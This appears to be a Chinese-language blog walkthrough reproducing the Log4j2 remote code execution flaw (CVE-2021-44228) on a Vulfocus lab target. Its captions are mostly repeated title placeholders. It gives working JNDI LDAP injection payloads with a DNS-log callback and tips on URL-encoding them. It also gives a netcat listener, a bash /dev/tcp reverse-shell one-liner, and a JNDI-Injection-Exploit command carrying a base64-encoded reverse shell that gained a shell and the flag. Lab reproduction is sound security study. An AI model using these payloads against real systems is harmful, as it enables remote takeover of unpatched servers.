CVE-2021-44228

漏洞描述

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_Log4j2

Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的 重写,并且引入了大量丰富的特

性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能 而被广泛的应用于各种常见的 Web 服务中。

漏洞评级

Apache Log4j 远程代码执行漏洞 :严重

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_jar_02

影响范围

https://fofa.so/static_pages/log4j2

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_apache_03

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_bash_04

Apache log4j2 2.* <= Apache log4j2 2.15.1.rc1

主流相关产品

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr

Apache Flink

Apache Druid

ElasticSearch

Vuofocus

http://vulfocus.fofa.so/

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_Log4j2_05

启动靶场

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_bash_06

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_jar_07

Dnslog出网测试

http://www.dnslog.cn/

payload GET方式提交

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_jar_08

payload

payload=${jndi:ldap://X.X.X.X/exp}
payload=${jndi:ldap://5e0s0v.dnslog.cn/exp}

用payload打的时候发现服务器返回404

原因是因为GET数据传输要URL编码

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_Log4j2_09

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_jar_10

URL编码后提交正常

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_Log4j2_11

DNSlog成功回显

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_Log4j2_12

JNDI注入反弹shell

JNDI

https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md

VPS监听端口

nc -lvp 7777

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_apache_13

JNDI注入

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_bash_14

替换JNDI中对应的payload

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_apache_15

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_jar_16

反弹shell

bash -i >& /dev/tcp/ip/port 0>&1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcCUuMjQuOTUuMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"  -A   [vps ip]

反弹shell命令进行了base64编码

https://www.jackson-t.ca/runtime-exec-payloads.html

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_Log4j2_17

反弹shell成功拿到flag

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_Log4j2_18

关注公众号了解更多安全资讯~

CVE-2021-44228——Vulfocus-Log4j RCE漏洞复现_bash_19